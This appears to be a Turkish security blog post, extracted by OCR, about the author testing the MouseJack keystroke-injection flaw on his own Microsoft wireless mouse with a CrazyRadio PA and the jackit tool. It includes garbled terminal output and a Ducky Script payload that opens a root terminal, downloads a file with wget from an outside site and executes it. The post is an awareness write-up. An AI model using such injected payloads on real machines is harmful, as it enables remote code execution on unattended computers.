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2015 yilinda elektronik Urinler satan bir magazada kampanyada olan bir {rin
seti dikkatimi cekmisti. Kaspersky Internet Security guvenlik yazilimini
satin aldiginiz taktirde Microsoft’un Sculpt Mobile model kablosuz faresi
hediye olarak geliyordu. Yeni bir fareye ihtiyacim oldugu ic¢in o zamanlar hicg
diisinmeden satin aldigim ve yillardir severek kullandigim bu kablosuz
farenin, sahip oldugu zafiyet nedeniyle arkamdan isler cevirebilecek bir
casusa donlusebilecegi hic¢ aklima gelmemisti. :)

Bluetooth olmayan kablosuz klavye ve farelerin RF haberlesmesi lUzerine
yapilan arastirmalara kisaca bakacak olursak, 2007 yilinda Max Moser
tarafindan 27 MHz bandinda haberlesen kablosuz klavyelerin (Microsoft ve
Logitech) uzaktan rahatlikla dinlenebilecegi, yaptigi bir arastirma sonucunda
ortaya c¢ikti ve glvenlik diinyasinda oldukca ses getirdi. 2009 yilinda ise Max
Moser ve Thorsten Schroeder, kablosuz klavyeleri dinlemek amaciyla
gelistirdikleri ve KeyKeriki adini verdikleri aygiti duyurdular. 2010 yilinda
ise bu defa 2.4 GHz bandindan haberlesen ve Nordic Semiconductor NRF24XXX
¢ipine sahip klavyeleri de dinleyebilen KeyKeriki v2.0‘1 duyurdular. 2011
yilinda Travis Goodspeed, ~5TL degerinde olan nRF24L01+ c¢ipini promiscuous
kipte calistirarak 2.4 GHZ bandinda NRF24XXX c¢ipler tarafindan gonderilen
paketlerin basit bir sekilde izlenebilecegini (sniff) gosterdi. 2015 yilinda
Samy Kamkar, Arduino tabanli KeySweeper aygiti ile Microsoft klavyelerden tus
bilgilerinin anlik olarak pratik bir sekilde nasil calinabilecegini tim
dinyaya gosterdi.

Yillar icinde yapilan bu arastirmalar ve calismalar sayesinde bluetooth
olmayan kablosuz klavyeler (2.4 GHz ISM) ile bilgisayarlar arasindaki RF
haberlesme, Ureticiler tarafindan (istisnalar harig¢) guc¢li algoritmalarla
sifrelenerek art niyetli kisiler tarafindan tus bilgilerinin izlenmesinin
onine gecildi. Ureticiler kablosuz klavyeleri giivenli hale getirmek icin
yogun caba sarfederken, kablosuz fareler arka planda kaldi. Ne de olsa bir
farenin hareketlerinin ve basilan buton bilgilerinin (sag, sol, orta)
sifresiz calinmasi art niyetli kisilerin ne isine yarayabilir ? Isin aslinin
pek de oyle olmadigini 2015 yilinda Bastille firmasinin yapmis oldugu ve
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ile ortaya koymus (video) oldu. MouseJlack yontemi ile fare alicisi olarak
bilgisayara takilan USB aliciya fare hareket ve basilan butonlarin
bilgilerinin yerine kablosuz olarak Bad,Bad USB blog yazimda oldugu gibi
Ducky Script formatinda klavye tus basma bilgileri (keystroke)
gonderilmektedir. Bu sayede benim gibi dizisti bilgisayar kullandiginiz icin
kablosuz klavye kullanmasaniz da, kablosuz fare kullandiginiz icin
bilgisayarinizin basindan kisa sireligine kalktiginizda, art niyetli bir kisi
kablosuz olarak bilgisayariniza bagli olan USB aliciya kablosuz fareden

gonderiliyormus gibi istedigi tus basma bilgilerini gonderebilmektedir!

Kablosuz Microsoft fare kullanan biri olarak, MouseJack yonteminin farem
tuzerinde etkili olup olmadigini anlamak ic¢in hemen ise koyuldum ve
Bastille’nin MouseJack GitHub sayfasinda belirtildigi lUzere CrazyRadio PA USB
aygitini satin almaya karar verdim. nrf-research-firmware donanim yazilimini
derleyip, CrazyRadio PA’ya (bin/dongle.bin) ylkledikten sonra Bastille’nin
GitHub sayfasinda yer alan araclarin etraftaki nRF24L01+ aygitlari tespit
etmeye ve paketleri izlemeye imkan tanidigini gordim. Bastille, klavye tus
basma bilgilerini gonderebilen aracini sadece Ulreticilerle paylastigi icin
GitHub’da ufak bir arastirma yapmaya karar verdim ve cok gecmeden klavye tus
basma bilgilerini de gO6ndermeye imkan taniyan jackit araci ile karsilastam.
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Terminal  Help
-- 1 root root 18575 Mar 31 19:18 main.rst
- 1 root root 34805 Mar 31 19:18 main.sym
root@HackdCareer:

Edit View Terminal He!
I ware/fir # make (RPA=l
sdcc -Iing/ --model-large sdcc99 -DCRPA -c src/main.c -o bin/main.r
Iing/ --medel-large sdcc®9 -DCRPA -¢ srefradio.c -0 bin/radie.re
-Ting/ --model-large sdcc®9 -DCRPA -¢ src/usb.c -o binfusb.re
-Iinc/ --model-large dcc99 -DCRPA -c src/usbDescriptor.c -o n'.n-’ushllescr|p:nr.rel
-Iinc/ --model-large -5dcc99 -DCRPA -¢ srcfled.c -o binfled.rel
-Iing/ --model-large td-sdcc99 -DCRPA -c¢ src/utils.c -o binfutils.rel
- -xram-loc 88000 - xra~ size 2048 --model.large bin/main.rel bin/radio.rel binfusb.rel binfusbDescripter.rel bin/led.rel bin/utils.rel -o bin/cradio.ihx
== objcopy -1 ihex bin/cradic.ihx -0 binary bin/cradie.bin
- Crazyradio PA build
firmare# python ../usbtools/launchBootloader.py
- Bootloader .!.'eddy
r waref# python ../ usbtools/nribootload.py flash bin/cradio.
802 De | ‘Found nHI24LU1 bootLoadLr “versio
801 DefFlashin
601 De F]aﬂn\nq 7471 bytes
801 DeFlashing done!
801 Deverifying:
SR Reaillng Bin/cradisihiniiul
Reading 7471 bytes
802 Deverification su((cuw'
801 De
801 Device bw4: CCLTHTY
801 Device 883: II] 1bcf: ZCTd Sunplus Inanalan Technology Inc.
001 Device 002: ID 045e:07b2 Microsoft Corp
001 Device 881: ID 1d6b:0802 Linux Fou dntm 2.0 root hub
:~/Desktop/m k/nrf-research-firmeare/bing lsusb
002 Device 001: ID 106b:8003 Linux Foundation 3.0 root hub
801 Device 085: ID 04f3:2078 Elan Microelectronics Corp,
001 Device 684: ID 88B7:0a2a Intel Corp.
0801 Device 8683: ID 1bcf:2c7d Sunplus Innovation Technology Inc.
801 Device 082: ID 845e:07b2 Microsoft Corp.
601 Device eu1- ID 1d6b:0602 Linux Foundat1on 2.0 |nut
- ktop/mousejack/nrf-research-fi
062 Device 091: ID 1d6b:8003 Linux Foundation 3.8 root huh
001 Device 085: ID 8413:2078 Elan Microelectronics Corp.
801 Device 084: ID BBB7:0a2a Intel Corp.
801 Device 883: ID lbcf:2¢7d Sunplus Innovation Technology Inc.
601 Device 0682: ID 045e:87b2 Microsoft Corp.
601 Device 086: ID 1915:7777 Nordic Semiconductor ASA
801 Device 981: ID 1déb: aenz Linux Foundation 2.8 root hub
- /Desktop/mousejack/nrf-rese are/bing lsusb
802 Device 061: ID 1d6b:6063 Linux Foundation 3.8 root hub
801 Device @B5: ID 8473:2078 Elan Microelectronics Corp.
001 Device 084: ID 8087:0a2a Intel Corp
801 Device 883: ID lbcf:2c7d Sunplus Innovation Technology Inc.
801 Device 862: ID 845e:87b2 Microsoft Corp
601 Device 086: ID 1915:7777 Nordic Semiconductor ASA
001 Device 801: ID 1d6b:0882 Linux Fm.ndatmﬂ 2 8 root hub
:~/Desktop/ma ack/nrf-rese sare/bing []

esw [ Terminal =

Terminal Help
1 root root 18575 Mar 31 19:18 main.rst
1 root root 34805 Mar 31 19:18 main.sym

root@HackdCareer: ~/Desktop/mousejack/nri-research-firmware

Desktop/mousejack/n # prog/usb-1lasher/usb-flash.py bin/d
46.198] Looking for a uatxble device that can jump to the Nordic bootloader
46.215] Device found, jumping to the Nordic bootloader
46.275] Laoking for a device running the Nordic bootloader
46.762] Writing image to flash

422] Verifying write

479] Firmware programming completed successfully

-83-31 19:37:47.479] inp ongle or I”lemll board and plug it back in

Desktop. T "

601 De
601 De
881 De
801 De
861 De

802 De
601 De
801 Device bb4: LU Gobo/idada AnLel Lorp.
801 Device 083: ID lbcf:2c7d Sunplus Innovation Technology Inc.
801 Device 882: ID B45e:87b2 Microsoft Corp.
801 Device 081 ID 1d6b:0802 Linux Fu:.ndatmn 2. B root hub
Desktop/mouse jack/nri-re ware/bind# lsusb
802 Device 901: ID 196b:0683 Linux Founaat1oﬂ 3. U root hub
861 Device 8B5: ID B84f3:2878 Elan Microelectronics Corp
8081 Device 964: ID 8687:0a2a Intel Corp.
001 Device 003: ID lbcf:2c7d Sunplus Innovation Technology Inc.
001 Device 082: ID 845e:07b2 Microsoft Corp
001 Device 81: ID 1d6b:0602 Linux annaat1nn 2.6 root hub
=, k usejack/nri-research-firmare/bin# Lsusb
092 Device 991: ID 1d6b:8003 Linux Foundation 3.B root hub
001 Device 685: ID 84f3:2078 Elan Microelectronics Corp.
801 Device 884: ID 8887:@a2a Intel Corp
001 Device ©63: ID 1bcf:2c7d Sunplus Innovation Technology Inc.
001 Device 002: ID 0845e:07b2 Microsoft Corp
601 Device 086: ID 1915:7777 Nordic Semiconductor ASA
601 Device 881: ID 1d6b:@8662 Linux Fnhnuarlnn 2.8 root hub
:~/Desktop/mousejack/nrf-rese irmware/bing lsush
002 Device 001: ID 1d6b:0003 Lmux Ful.ndatm’l J 8 root hub
801 Device 8B5: ID 8473:20878 Elan Microelectronics Corp.
801 Device 8B4: ID 8887:8a2a Intel Corp
801 Device 683: ID lbcf:2c7d Sunplus Innovation Technology Inc.
s 801 Device 802: ID 845e:087b2 Microsoft Corp
001 Device 086: ID 1915:7777 Nordic Semiconductor ASA
801 Device 881: ID ldEI:l 8662 Linux Fu\.ndmtmrl 2 @ root hub
:~/Des! us irmware/bind




root@Hack4Career: ~/Desktop/mousejack/nrf-research-firmware/tools

File Edit View Search Terminal Help

:~/Desktop/mousejack/nrf-research-firmware/tools# python nrf24-scanner.py -1
:32.151] 86:1D :E9:00:00:03
:32.155] 86:1D :£9:00:00:03
=3 201581 86:1D :E9:00:00:03
:32.160] 86:1D :E9:00:00:03
:32.165] 86:1D :E9:00:00:03
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root@Hack4Career: ~/Desktop/jackit (0 ]

File Edit View Search Terminal Help
[+] Scanning every 5s when ready.

KEY ADDRESS CHANNELS COUNT PACKET

80,61,74,70,29,33,50,54 : Microsoft HID ©8:96:17:6 ):00:01:00:00:00:00:00:00:08:00:
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Jackit aracini Kali’ye kurduktan hemen sonra Ducky Script formatinda
hazirladigim klavye tus bilgilerini, Crazyradio PA ile gdndermeye basladim.
Kisa bir sire sonra Kali’'de root terminal ac¢ildi, wget ile
https://www.mertsarica.com adresinden pwned dosyasi indirildi ve

calistiraildi.


https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript

root@Hack4Career: ~/Desktop/jackit e ® &

File Edit View Search Terminal Help
GNU nano 2.7.4 File: ducky-mert.txt Modified

DELAY 2500

GUI

DELAY 2500

STRING root terminal
DELAY 2500

ENTER

DELAY 2500

STRING wget https://www.mertsarica.com/pwned
DELAY 2500

ENTER

STRING chmod +x pwned
DELAY 2500

ENTER

STRING ./pwned

DELAY 2500

ENTER
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Yapmis oldugum bu calisma sonrasinda sahip oldugum Microsoft marka kablosuz
faremi Uzlulerek cope atip, daha guvenli bir kablosuz fare almak igin
elektronik lrinler satan bir magazanin yolunu tuttum. Fiziksel glivenligim ve
guvenlik farkindaligi icin yapmis oldugum bu calismanin, kablosuz klavye ve
fare kullananlar adina faydali olmasini temenni eder, bir sonraki yazida
gorusmek dilegiyle herkese guvenli ginler dilerim.



